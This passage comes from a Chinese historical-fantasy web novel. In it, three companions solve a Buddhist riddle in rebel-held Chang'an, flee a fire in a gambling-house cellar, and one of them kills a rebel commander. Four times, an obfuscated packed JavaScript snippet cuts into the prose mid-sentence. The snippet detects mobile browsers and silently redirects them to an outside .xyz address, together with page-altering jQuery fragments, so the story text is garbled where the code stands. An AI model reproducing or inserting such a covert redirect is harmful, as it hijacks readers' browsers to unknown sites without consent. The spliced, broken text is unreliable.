伽衡吓得瞠目结舌,什么事呀,她为什么要哭?他等她把话说完,她突然又不说了,只是睁着一双菩提子般安静漆黑的眼睛瞪他,泪水已然收不住,一颗一颗地掉下来。人们都说“泪珠”,然而大多数人哭起来都是泪道,从两道到五六道不等,还要辅之以鼻涕泡和拔丝口水;阿忍是他见过唯一一个流“泪珠”的,粒粒分明,成串滚落,他简直被这样美丽的哭法惊呆了,恨不得伸手去接。她的“灵”在那里面,只流给他的。 “可以不原谅的,我就是问问。”他小声说。 她抹了抹眼睛,稍微弓着背伸着脖子,和伽衡相对而坐。于是伽衡看出来这是个动物表示祈求的动作,大骇,不明白阿忍又怎么样了。 “我先要问你一个问题——我对你所求的全部就是一个问题,”她也小小声说,“你有多执着?” “什么方面的执着?” “对我的那方面。” 广愿曾经给她说过,男人的话听听就算了,你越郑重其事地问,他越天盟海誓地编。所以要么问前心里有个答案,没有答案也就不必问了。她和离过一次, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001951|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说起来条条在理;阿忍可是第一次,所以就算条条在理,她也还是想把男人的山盟海誓听一下。 伽衡想了想,“执念么?倒也不是很重。” “啊???” “倘若有一天,你真的变成了神仙,要回天上去了,”他恳切到几乎敬畏地说,“我不会强留。” 阿忍愣愣地看着他,不知道此时究竟是谁离佛陀更近一点。她是个懦弱的人,背弃教义的木已成舟,却还想从尚在局外的他那里索要一张凭证——若这条路走错了,他的每句话都难辞其咎。我有欲望,却是被他的欲望点燃的。 而事实证明,他的欲望没有她的多。他的真心比她的多。 “我可是回答完了,那你可不可以——”伽衡还没说完,就感受到什么柔软而濡湿的东西触了自己的脸颊一下。他如被电击般顿住,而那电流还不罢休,在体内胡乱窜射,以至于汗毛都竖了起来。“你说呢?”阿忍在他耳边俏皮地小声说,然后一溜烟跑掉了。 伽衡摸了一下自己的脸。 晚上解不寻带了五袋面粉和两串腌鱼回来,自然是从空商铺里搜出的。杨芹家的姑娘们浑身上下干净清爽,笑笑闹闹,立刻接过处理了起来,毕竟还是小孩子嘛。阿忍很兴奋地走过来跟他说:这个罗汉是阿尼律陀,“天眼第一”,失去肉眼而开天眼,能见天上地下六界众生。 小罗汉不似其他罗汉般低眉,他大睁着无神的双目。 三人再次坐到一起,然而解不寻敏锐地发现之前阿忍故意离伽衡远远的,现在却挨得很近,伽衡的长发不经意就扫到她的手臂。我说怎么看出个罗汉像还能兴奋成那样! “这个阿尼律陀的故事还是很常规的,什么女子爱慕他他使人家皈依了,强盗打劫他他使人家皈依了。”阿忍分析道,“我义父用来区别他的方式就是天眼。曾于佛说法中酣睡,为佛所呵责,遂立誓不眠,而罹眼疾,至于失明。佛怜悯他,教他修习金刚照明三昧,他不久就证道,能看见六界众生。所以我觉得咱们得从他的天眼出发来想。” 解不寻点头道:“赞成。不过补充一点,阿尼律陀、跋提、劫宾那兄弟三人一同在林中修行,除了开会讨论时不可以讲话,每日除了坐禅就是化缘,过着相当无聊但是被佛称赞的日子。我觉得这个模式很像终南山上的隐居者。” “你每次都喜欢提终南山。” “你每次说话都好没水平。” “好啦,”阿忍连忙插嘴道,“解大哥说的确实有道理,不过我们还是先从这个‘盲与不盲’开始想。” 解不寻是最熟悉长安的,他提出轩福楼的乐伎班里全是盲人,还有几位鼎鼎闻名的鉴香师也是盲人,但估计被抓得不剩几个了。至于说“不盲”,能见六道众生......倒是听说弘福寺的方丈有天生慧根,能精准占到不久的未来,但也不至于能看见六道。 他心里微微一动,“你们应该知道地藏菩萨的身相是什么样子吧?左手持宝珠,右手持金锡。而对于这两件法器,民间有‘手中金锡,振开地狱之门;掌上明珠,光摄大千世界’之说。我曾亲眼见过两件稀世珍宝,真如传言一样。一根是金锡杖,若有罪行者靠近则会震动,其罪越重,震动越强烈;一颗是宝珠,若有善行者靠近则会发光,其善越厚,光芒越明亮。想来这杖和珠也是能‘看到’天道和地狱道中人的。” 28. 悟空 阿忍抿着嘴巴,那颗宝珠是伽衡带她看的,说不说的决定权在他那里。伽衡道:“世上真有如此神奇的东西?我一个商人都不太清楚,你怎么会见过?” “不是说过我有一个妹妹嘛,”解不寻垂眸莞尔,“她很喜欢搜集这种宝贝,这两样都曾是她的藏品,后来遭窃了。” “你家里这么有钱?” 他叹了口气,“我要对你们两个小朋友起什么歹念,都用不着费口舌的,嚓嚓两剑下去你们就是尸骨了。太伤心了,仗义这个份儿上,你们还不把我当朋友。” 伽衡睨了他半晌,松口道:“金锡杖没听说过,宝珠倒是在我这儿,就算曾是你妹妹的藏品,现在也是闻辩花钱收来的,你可不许抢。” 那件珊瑚扇的存在很隐秘,按理说除了闻辩和手下几个人,谁也不知道它就在长安,王维更不可能知道。但现在没有别的头绪,索性就去了醴铺一趟将它取了回来——放在醴铺比放云海间要安全。他们也将云海间搜寻了一番,自然是不见罗汉。 解不寻把手轻轻搭在宝珠上,像抚摸婴儿的脸般摩挲着,几乎没有一个变化过程,明珠在瞬间把院落黑暗的一角照得亮如白昼。伽衡忙把红布盖上,怕引起外面叛军的注意,而解不寻的手很慢很慢才从空中移开,脸上浮现出落寞的神色。 这是伽衡第一次从这个潇洒乐天的大侠身上,看到马拉坎达的那个孤独剑客。 “解大侠,不错嘛。这罪行和善行可以抵消吗?” “不能。我在行善的途中杀了很多人,所以这宝珠有多亮,恐怕锡杖震得就有多厉害。”解不寻立刻开始嘲笑他,“不像你,想杀人也没那个本领,锡杖见了你都懒得震。” 伽衡哼了一声,捧着珊瑚扇说要藏到一个谁也找不到的地方便进屋去了,阿忍也趁机出去拿了些姑娘们做好的馎饦——有汤水的馎饦哎!虽然说也毫无滋味,但好歹不那么噎人。等伽衡回来后,三人美滋滋地吸溜起面片来,即使珊瑚扇与线索似乎无关也不能扑灭热食带来的快乐。 这是早就预料到的。王维原与闻辩不熟,他对生意人不感兴趣,在长安交好的几位也该是诗人、画家......画家!阿忍把筷子拍在碗上,兴奋道:“吴道子呀!” 此人少负盛名,本是洛阳壁画师,后来被召入宫廷。曾与李思训大同殿壁上画嘉陵江山水,李思训数月方毕,吴道玄一日即成,圣上大为嘉奖,甚至在东封泰山的时候也钦点他陪同前往。然而真正令他名声大噪的还不是山水画。开元二十年,他醉酒杀人,醒后于赵景公寺的墙上画了一副《地狱变相图》,展现人死后在地狱中的情景,笔力劲怒,变状阴怪,京都屠沽渔罟之辈见而惧罪改业者大有人在。 下过地狱者,方知地狱何样。 赵景公寺是常乐坊中一个不起眼的寺庙,完全是因为此画而闻名的。解不寻原本还顶嘴说这也只见了“一道”,因为位置太具体,他当即就去了一趟,捧着个小罗汉像回来的时候就什么都不说了。这个罗汉是从壁画墙上一块松动的砖头后抠出来的,没有脸,估计是和砖头挤在一起、磨平了。 此后半个月他们毫无进展。大部分叛军撤走了,也不再管长安城里的难民,因为该搜刮的都搜走了、该死的人都死光了,叛军要去干正事——打仗。吕蒙恩自然没法违抗上面的命令,只能利用剩下的一点兵力守死城门,还亲自加入巡逻,至少伽衡和阿忍目前还在他的手掌心内;而有些普通难民向士兵行贿,逃出城外,他也管不了了。至于说李亨在灵武继位为帝、正马不停蹄地赶来收复长安,长安城里的人自然也是毫不知情。 王给事留下的谜题只剩最后一个没解开,阿忍心急如焚,更别提这谜底可能与失踪的义父有关系。她也没心情多理伽衡,每日不是把那无脸的罗汉翻来覆去地观察,就是念她知道的所有经文,企图从中找到一星半点启发。按理说已经出现四个罗汉,这个自然是剩下的五个之一,但是罗汉的下半身毫无特征,她拿根树枝在泥地上把所有的可能列举出来: 舍利弗——智慧第一,对应翰林院; 目犍连——神通第一,对应人物太多,方术师、解不寻再次提出的终南山高人等; 摩诃迦叶——头陀第一,最无执念者,有“拈花一笑”典故,对应地点太多太多; 须菩提——解空第一,证“空”后于林中隐居修行,解不寻再提终南山; 富楼那——说法第一,长于辩才,而玄奘曾在戒日王举办的十八日无遮大会上说法,到了无人敢与其争锋的地步,被大乘学者尊为“大乘天”,对应玄奘待过的各寺、著名讲经场所; 优婆离——持律第一,曾是剃头匠,对应剃头匠工具箱(阿忍批判说这个猜想太浅薄了虽然她自己通过“持律”也只想到优婆离很关心男女问题)。 阿忍每天都冒出新的想法,又不得不拜托解不寻去找又不好意思多麻烦他;后者倒是一点也不介意,只是总两手空空地回来。伽衡说他伤好了,却不给人看,也不知道真好了假好了,总之阿忍完全没心思做想线索以外的事,是他每日在干活。 解不寻之前看到他的时候,他总和阿忍在一起,表情生动、神采飞扬;现在才惊觉平日里的伽衡居然是安静的。修补窗棂,汲水,洗刷需要洗刷的所有东西,他做这一切的时候很安静,却比从小就需要做家务活的姑娘们都要麻利,就像已经这样安静地生活了一万年。 至于那些难民呢,已经通过贿赂的方式慢慢送走了几个。留着的孩子坐立不安,天天缠着解不寻要大侠教他们武功,练一会儿又嫌累不练了。解不寻只好在地上画长安的地图,教他们认他们面目全非的家乡。这是什么坊?这是什么街?这是什么宫? “这是太平天子住的地方。”一个小姑娘奶声奶气地答。 唉,还太平天子呢,解不寻感到很惆怅。不过只要有一天李隆基还被叫太平天子,我也该配被叫解大侠吧? 阿忍焦虑地踱过来,“这是什么?你又想到什么地方吗?” “不是,我教孩子们认地图呢。” 她蹲下,用手在一个个地名上反复划圈,之前的罗汉是从东宫、修德坊、怀德坊、平康坊、常乐坊找到的......突然轻轻“啊”了一声,问她也不说。这几日阿忍总是这样神经质,他也见怪不怪了。然而阿忍整个下午一直蹲在那里,指指画画,念念有词,晚饭时把两个人拉过去道:“我现在有了一些很牵强的联想,但是还请你们听听。” “小罗汉只剩最后一个,那么加上我们还没去的地点,一共有六个地点。这个‘六’启发我想到了六道轮回——” “六道轮回已经是上一个——” “哎呀,你听我说完嘛。常乐坊自不必说,是地狱道。东宫是人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001952|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间权利的象征,是人道;修德坊是玄奘译经的地方,破如来之法,是天道;我们先暂时假设怀德坊是阿修罗道;然后平康坊的女子受卑贱之苦,是畜生道......看!”阿忍的手指一一指过,形成一个半圆,“和六道轮回那个圆环图的顺序是一样的!最后我们要去象征饿鬼道的地方。” “阿修罗有天神的威力,却没有天神的善行。怀德坊是王维的住处,”解不寻若有所思道,“王维......阿修罗象征王维吗?” 阿忍对这位老人是怀着仰慕与敬意的,但她不会妄下评论,毕竟她一无所知。 “所以说按照这个顺序,最终的目的地在长安的右上角十四个坊里?”伽衡其实也觉得有点牵强,但阿忍好不容易高兴一下,他还是顺着她的思路说,“饿鬼道是什么样的呢?” “常饥虚,故谓之饿;恐怯多畏,故谓之鬼。我的总结是胆小却贪婪。” “那不是赌徒嘛,”他指着靠城墙的长乐坊道,“闻夫人的云霄赌坊就在这里。长乐坊就是赌场集中区。” 寂静片刻,然后阿忍和解不寻同时大叫起来,“是须菩提啊他解空啊空啊所以没有脸”。而伽衡同样站了起来,他想起那天安金送完货后身上带着明显的香气,是销魂香,整个长安只有云霄赌坊里会燃这种香。此香吸入后会让人产生飘飘欲仙、蚀骨销魂之感,能引诱无数赌徒妄加筹码。 答案藏在泥像里。所有证据从路上开始就指向了泥像。 “我只带伽衡去,他原先去过几次,认得路。”解不寻对阿忍笑道,“现在是下午,回来还来得及一起吃晚饭。” 两人翻上墙立刻就退回来——刚才叫声太大了,把叛军引来了。躲了一会儿再出发时,仍觉得南边的叛军都在往这边聚集,然而两人都极其兴奋,一刻也等不及。远远便可以看见兴庆宫东南角的花萼相辉楼,是这一带最高的建筑,圣上亲自起的名。他赐给宁王、薛王、申王、岐王的宅邸都环绕着此楼,闲时帝王家的几个兄弟还会聚在此楼喝茶,因此取名“花萼相辉”,寓意兄弟几人要像花瓣和花萼一样相亲相爱、永不分离。 而如今,不知几人逃难、几人被俘、几人绝命。 第二高的便是云霄赌坊。按理说私人建筑不可以建的太高,尤其是临近皇宫的,僭越事小、窥视宫廷事大,云霄赌坊在不越界的底线上尽可能建的高耸豪华了。楼顶安了八卦琉璃塔,天气好时可折射出长虹;斗拱雄健奔放,莲瓣铜瓦鱼鳞般覆盖,上了丹漆,整体结构富贵而不失雅致。门口高悬着“云霄赌坊”的牌匾,是颜真卿的笔迹。 “这么嚣张,不是闻辩的风格吧,”解不寻带他落地,望着赌坊道,“该是闻夫人全权管理的?” “对。” “我说呢,他才不会开赌坊。”他冷笑一声,“奉劝你此事过后,别为闻辩做事了,此人虚伪的很。” “是你为他做过事还是我为他做过事?你都跟他不熟,哪来这么大意见。” “他腰间是不是佩一把短剑?” 闻辩的短剑是贴身佩戴的,平日被宽大的衣服遮着,谁也看不到。伽衡皱眉退后一步,然而解不寻突然猛地扭头向外望去,“有人在喊我,稍等!”飞身就越过坊墙。过了少顷,伽衡才隐隐听到动静,似乎有很多人齐齐往北边来了......他现在去救什么人,不是把叛军往这边引吗! 29. 一束烦恼丝 过了大概两盏茶的时间,墙头的土又被人踩的咔啦掉了一块。伽衡仰头便急道:“你是不是有病?” “你是个孩子,离不开人吗?”解不寻带着一副理所当然的疑惑表情,“响应别人的召唤啊。” “你把叛军都引来了!” “他们没追上我。” “马上便能找过来。” “那你就该立刻带我去找泥塑,而不是在这里谴责本大侠去捞了一个被叛军丢进排水道取乐的老头儿。”他说,底气显得不是那么足。 伽衡转身便走,赌桌上的骰子、牌九、叶子戏等估计都被打发时光的叛军顺走了,空空荡荡,只剩灰尘。他走到大堂正中央的大圆桌旁,这个大圆桌外环能坐三十人,还可升高转动;中间放着一个圆顶铜丝笼,原来装了一只花豹,现已不见踪影。他按顺序踢了几块木板,地面突然开始震动,实心圆桌摩擦着地面缓慢划开,露出一个黑洞洞的地下通道。 这里有个暗门,上上次闻辩拍下两台价值连城的古琴送给夫人,就是让他往这里搬的。闻夫人又美又开朗,一直叫侍女送水果给他吃。 解不寻想真够响的啊,平日里在热闹的长安城里倒不明显,现在城里安静的像个棺材,叛军来得更快了......当然是不好意思说的。两人沿陡且窄的石阶而下,堀室里很暗,他迈出第一步时差点滑下去。“你们是怎么搬东西进来的?” “铺条厚毯子,把货物包起来滚下去。”伽衡答道,他勉强能看清,只是这楼道着实不好走。地下空气不污浊凝滞,也只能点豆大的油灯,两人延甬道绕了好一会儿。解不寻问道:“怎么感觉在走回头路?” “我也只来过一次,何况这些房间长得差不多。” 上回来的时候,两个侍女举着火把一前一后夹着两人,既没有机会自由走动,也分不清方位。这次他一直把手搭在墙壁上记着每处拐弯,走入死路,又重新回到楼梯前时,他差不多知道堀室的构造了,是梵文中的卍字形,意味“吉祥海云相”。楼梯处在卍字中心,他们还有三个方向需要探寻。 “没有不满的意思,只是我听见叛军到赌坊门口了。好多人嘞。” 纵使堀室比起暑期蒸腾的地面来说阴凉多了,伽衡还是因为空气沉闷和紧张出了一身汗,“我记得安金那天回来时靴子湿了,上面占有泥水。应该是有一处地面塌陷,直接踩倒排水渠里了。”墙壁上挂着小油灯,沿着某个方向又走了一段路后解不寻的眼睛实在是受不了,以剑击石,于快出残影的速度中挑出几粒火花,点燃了油灯,微弱的光芒照亮了彼此汗涔涔的脸。 “这也看不清楚啊!”他崩溃道,“闻夫人在这黑漆麻乌的地方干嘛!” 虽然他们看不见、不认路,但泥塑就在这间堀室内,总是能找到的。然而甬道间已经回想起脚步声了。伽衡现在想来还是觉得不可思议,他们付出了这么多时日的努力,终于离谜底只剩一步之遥......然而解不寻冲出去救了个老头!两人不得不合力撞开一扇门,这间房里摞了很多箱子。躲入箱子里,黯淡到几乎不存在的光线从木板缝隙中渗进来。 解不寻盯着箱外,手按在剑柄上。他知道自己鲁莽、随意、万事游戏,而且把本来什么隐患都没有的计划给打乱了,伽衡现在一定恨不得把他扔出去吧?可是瞻前顾后的人是当不了大侠的,大侠出剑时什么都不会想。 路见不平事,我必相助之。 至于远方更多的不平事呢?至于关乎自己、朋友和亲人的不平事呢?若要再想、再权衡,就连眼前这一件事都不敢管了。 而且,他实在是有一个......不得不去的理由。 叛军列队撞开一个个房间巡查,尚未来到他们跟前、看见门上一个明晃晃的大洞。大概是觉得太麻烦,开始把墙壁上的油灯扯下来、砸在地上。不会吧。两人对视一眼,解不寻喉咙发干:“他们自己不是也在地下......” 噼里啪啦。甬道顿时被火光照亮,叛军的人影被放大投在墙壁上,随着火摆动的幅度一起跳跃摇晃。滚滚浓烟轰进各个房间,急速消耗着本就不多的空气。解不寻骂了一声,把他拽出箱子,道:“你往里面跑,去找泥塑。我把他们赶回地上。” “倘若你我的命还有阿忍要的答案,真就为了一个素不相识的老头交代在这里了……解不寻,你会后悔吗?” “做都做了,后悔什么?眼前事才是最重要的,刚才那老头儿就是最重要,现在咱俩的小命最重要,”他向出口方向走去,抖出长剑,火光在金属明亮的表面上荡漾。“另外,最坏的情况就是‘谜底’被他们抢去了。至于说交代在这里,你也太看不起本大侠了。” 伽衡哼了一声,转身就跑。四周的墙壁被照亮,背后的人影、火影爬在墙上撵着他跑,扭曲着放大缩小、四肢并用,太阳掉下来,黑暗升上去。火焰已因为空气越来越不足而变成明黄色,浓烟满地乱滚,他眼睛被熏得流泪,什么也看不到,只能弓着身子一直往前跑。 要是不在这条路上,还得回楼梯那儿再换条道。也不知道解不寻那边如何了。 右脚下突然踩空,半截小腿一下滑进水里,排水渠的馊臭味儿弥漫过来。他心中一阵狂喜,拔出腿,向前一脚蹬开房门,这才站直了。黑烟暂时够不到他的脸,然而火舌已经一路追来,在扑面而出的气流中一窜三丈高——与岿然盘坐的地藏菩萨隔空相对。这个地藏菩萨是女相,左手持宝珠,右手持锡杖,低眉垂目。他终于知道那天安金欲言又止的“泥像刻着什么东西”是何意了。 阿忍宁静、美丽、悲悯的面容在漫天火光中如塑成她身相的泥土一样安稳不动,他在巨大的泥像下仰着头,喉肺刺痛、满身烟灰,禁不住用袖子擦了擦脸。 火海蔓延到他脚下,再也不能等了。他翻上高高的供桌,下半身贴着墙壁,双手铆足劲儿去推泥像——做这一切的时候,心中竟有隐隐悲意。泥像于是带着她悲悯的神情在巨响中磕在另一边的墙壁上,分崩离析,内部的镇物混在纷飞的纸抄经文中掉到地上。 他听见金属和石地撞击所发出的沉闷响声,是一根禅杖。燃烧的纸屑在热气中翻转着起伏,上面的什么“我毕是形念念拥护阎浮众生生时死时俱得安乐但愿诸众生于生死时信受我语无不解脱”一点点被火舌吞噬,化为纷纷扬扬的灰烬。像烧纸钱一样,然而它们会飘向昏冥中的亲人手里;却不知这些字字句句泣血的经文,佛祖会不会看到。 一束黑色的卷发也摇摇摆摆地往地上飘去。 伽衡忙伸手去抓,一簇跳跃起来的火舌比他更快。 甬道窄其实不是坏事。叛军人很多,然而到了下面也只能两个两个并排前行,而非成包围之势,进退不便,对于解不寻来说是“一夫当关万夫莫开”的好地形。他一柄长剑舞动如风,把叛军全部逼回到地面上,他们便将出口团团围守住,往下面泼油、扔火把。解不寻连退了好一段路,出去不是难事,他可轻功上跃、杀出重围。 但是在那之前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001953|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要先把伽衡找到。 火势越来越大,他咳个不停、眼泪直流,什么也看不清楚。这样没头的苍蝇般找了一段路后,突然听见了不远处极其惨烈的一声“啊”,是伽衡的声音。他循声狂奔而去,大声问:“怎么了?”张嘴便呛入一大口黑烟,整个喉部顿时灼烧起来,他不可遏制地向前弓着背咳嗽,胸前沾上了一团火焰。 一块布飞到他脸上,是从衣摆上撕下的,饱蘸排水渠馊臭的水。解不寻心里一松,也顾不上嫌弃,连忙用它把自己胸前、脸上的火扑熄,刚想说你小子没事叫什么叫,抬头便看见伽衡从火中走来,将一柄沉金色的锡制禅杖抛给他。 解不寻不知道自己是不是看错了,那双眼睛里似乎有泪水。 大火。大火。大火。 从一百多年前蔓延到今天,那场大火就没有熄灭过。 解不寻接过禅杖,冲到楼梯口,轻功跃起,以禅杖为武器抡击一圈、逼得叛军连连后退;与此同时,伽衡从楼梯上爬出来。 “剑给我。”伽衡喊道,他快要被体内一场冲天的大火烧死了,因此而努力地深呼吸着。解不寻抽剑抛来,一个士兵趁击撞向他腹部,却被反手扣住脖子掼向地面。伽衡伸另一只手在空中接剑,都懒得杀他,提着径直向自己的目标走去。 吕蒙恩远远看见狼的眼睛,慌乱地掉头就跑,也没人扶他上马。零零散散几个叛军还有保护主帅的意识,挡过来叫道:“你可知吕中省是什么人物?再不收手可就犯大罪了!” 他挥剑便往叛军肩颈部劈砍,钢刃卡进骨头里,又被生生拔出来,才几下这把被用了几个月都完好无损的剑就卷了刃。最前面两个士兵大瞪着眼,在喷薄而出的血雾中倒下,锁骨硬生生地被剑带出来了几寸、破出皮肉。他后仰卸力,顺势把剑抡满一圈,再次衡斩而来,其速之迅猛、其力之无穷,挤压得连空气都发出一串沉闷的呜啸声。 不远处的解不寻闭上眼睛,原本围攻他的士兵已经作鸟兽散,只听到令人牙酸的骨骼断裂、液体喷溅之响动在尖叫中震荡着。伽衡会鲜卑摔跤。惯用的是马刀。杀过不计其数的人——不计其数。他想起自己第一次杀人的经历,杀的是个村庄里的恶霸,一剑毙命,后被噩梦缠绕三个月之久。杀他的时候,你知道他是恶人;他睁大眼睛死去的时候,你想起他是人,和你一样被上天赋予生命,却没能等到被上天如期收回生命。 他不记得自己怎么跨越这一思想挣扎期的,后来习惯了也就好了。扬善必须除恶,这是很正义的道理,解大侠可以僭越上天,不可以不要正义。 但伽衡自然不是为了正义而去诛杀叛军将领吕蒙恩的,他为的是个人恩仇。向前掷剑,剑贯穿吕蒙恩的胸口、将他扑飞钉在墙上。吕蒙恩已然六神无主、声泪俱下,拼命重复“我是个替身,我不是吕蒙恩”这一句话,双手紧紧攥住没入自己身体的剑背一端。伽衡问,郑枥呢? “郑枥送回他婶婶家了。你别杀我,我可以告诉你郑龟寿——” 伽衡把剑拔出来。噗嗤的水声。他用自己的袖子擦了擦,还给解不寻,又要来禅杖,禅杖刚才在他手中是静止的,如今却震颤不已。“这是阿忍的东西,”他解释说,“我拿去洗一洗。” “答案找到了吗?” “应该吧。” 烟雾消散了。解不寻若有所思地抬头看他,第一次才那双原本如兽类般宁静、蒙茫的眼睛里看到了如此血肉丰盈的情绪,甚至都不复杂,是因为年轻所以直白外露的痛苦。 30. 渭城曲 “回不回去吃饭?”他于是问。 伽衡摇了摇头,浑身都是腥稠的红红白白。“我要去洗个澡。街上安全了,你叫阿忍在月亮升到半空中时独自来曲江找我。” 吕蒙恩这般身份的人亲自前来督战,可见他手下的兵力被苛扣到了什么地步;何况他们闹出这样的动静,也不见人来增援,再联想起两位将领间微妙的对峙,几乎肯定孙孝哲是受了闻辩之托,万万不会伤阿忍性命。最令他耿耿于怀的就在这里。闻辩故意的,他早知道会发生什么,却故意支开自己,把阿忍留下。 解不寻倒也没怀疑现在的伽衡会不会把阿忍叫到荒郊野岭是为了先行不轨后杀之的,毕竟现在那双绿眼睛很真切、很近,里面的爱憎实在是一览无余。更何况是在几百岁的人面前。他答应了,转身走的时候莫名有些无奈。 前些日子还以为自己交到一个新朋友呢,他没想起自己几百岁,伽衡被剥夺了与世界的一切联系,多适合做朋友,既不知道也不关心对方的底细,每天就互相调侃着喝酒......啊不对,吃面饼。如今断掉的触手重新连接了伽衡,恩怨、对刀剑的熟悉还有气质和习惯回到他身上,他鲜活的生命感提醒了解不寻:你不是年轻,你是不衰老。 聚散匆匆,水上浮萍。 子夜时分,曲江边上,月光明亮。阿忍的心怦怦跳,她听解不寻讲了事情的经过后心跳一直就快的难受,此刻远远看见了水中的人影,竟踟蹰了片刻,不敢靠近。 伽衡回了头,既没有叫她名字,也没有笑,只是从对面划水过来,越往岸边靠水越浅,最后他的上半身露出池面,双手将禅杖从黑漆漆的水中托举出来。水珠沿着他胸腹的线条慢慢往下淌,阿忍只看了一眼便移开视线,倘若是在平时,他肯定要洋洋得意地调笑几句;但现在他甚至不朝她笑一下。 “阿忍,”他叫了一声,垂头默然几秒,才又说,“这原是你的东西,那珊瑚扇里的宝珠也是,可以一并取走。除了因为别人的罪行而震颤,这锡杖还有一个妙处:若有罪行的人靠近你,只需握着它念《地藏经》,便可使对方经脉震颤、疼痛不已,再念下去,可使其内脏破碎、七窍流血而死。你以前就是拿着它一个人四处救苦的,说‘没有雷霆法,莫行菩萨事’,如今这禅杖又回到你手里,你自由了。” 她泪眼婆娑,在岸石边缘蹲下,“什么叫我又自由了啊?” “即使天下大乱,你也不必跟着我、赵无量或者别的什么男人,想去哪儿便可去哪儿。” 一串一串、又急又快的珠粒于是开始往水里掉,把里面倒映的月亮打碎,还兀自波波粼粼地乱颤。伽衡的眉尖始终微蹙着向上抬,见她哭了,不禁双手抓住岸边的石头靠近,说:“我的意思就是,你可以自己做选择。最好是去扬州,那里还没有被叛乱波及到;而且不管能不能碰到闻辩,他的总部都在那里,有一家极气派的珍宝行......” “你说这些干什么?义父下落不明,我怎么会去扬州舒舒服服躲起来,”她大声道,莫名由悲转怒,“我本来就是要去找义父,与你选择去哪里可没有关系。” “你义父估计出了玉门。” 出了......玉门?她愕然,义父腿脚不便、年事已高,怎会往沙漠里走。 “我本也是想出关。”他叹道,“若如此,便还是与我同行吧。我知道你现在有很多问题要问,是,我是恢复了一大段记忆,但其中很多环节自己也没想明白。” “你不主动说,我便不问。我现在只想问一句......你不想和我同行吗?你对我是不是——是不是——”她嗫喏了半天,自己都不敢说下去,伽衡立刻就说:“不是。” “我怕你是杀我族人的凶手。” 低而轻的声音如惊雷般在阿忍脑海中炸响,她猛地站起来,趔趔趄趄地退了好几步。那日伽衡没说出口的秘密是他的记忆缺失了很大一部分,而且自从醒来后过了十几二十年,容貌身体却再没变化。他知道她也是这样。至于说凶手......她没法为自己做任何担保。 所有认识阿忍的人都敢拍拍胸脯说:那是个好孩子,绝无此事。偏偏阿忍自己是不敢说此话的,世间之事险恶复杂,岂有这么绝对的论调,更何况自己比所有人都知道阿忍是不是个好孩子。她突然感觉心脏沉甸甸的往后下方坠去,几乎要贴着背壁,把冷汗从体内往体外挤——伽衡大概也是这般认为的,他喜欢的阿忍并不是完全的我。 她等着伽衡惊奇地问出“面对如此严重的指控你也不敢赌咒发誓吗”之类的话,没想到伽衡接着说:“所以盼你往扬州去,与我分道扬镳,那么查明真相的时刻你就不在跟前,我也有‘鞭长驾远、仇人难寻’的理由。万一真的是你,叫我怎么好呢?” “不叫你为难,我自当偿命。”阿忍皱眉道,“但首先需要知道究竟发生了什么。” 伽衡点了点头,他叫阿忍背过身去,自己上岸穿衣。贴身的白色半臂衫完全洗不干净,他便扔掉了,直接将交襟的窄袖翻领长袍披在身上,扎一根腰带,胸膛露出来一大片,真是好雅......好不雅观。再一节一节拧干头发,任其散乱地披在腰后,说:“走吧。” 两人回了醴铺一趟,取了行李、宝珠和巴瑞施玛。近日来城门本来就易进出,吕蒙恩的部下又死的死、跑的跑,更是布防空虚。若还有士兵阻拦?那便杀了。说到底,这二人不过是安禄山身边成不了大事的亲信,才被派到长安来,只管烧杀抢掠、为自己的私情私欲而明暗相争。交给他们的任务并不重要,阿忍和伽衡连名字都不会为那些大人物所听闻。 而长安的城郊之外,自有精兵锐马准备迎战唐军。他们的逃脱,不过是两只螳螂从两辆车间跑过。 解不寻见两人回来时面色有异,心里好奇的不得了,想问问阿忍到底怎么一回事儿;见他二人又急着走,只好拣要紧的说:“如今形势好转,我将这些人悉数送出长安后,便也离开长安,向洛阳去,不日就会让解大侠的名头响当当的。到时候你们写信来,只需写明‘解大侠’三字,送信人必能送到我手里。” “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001954|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 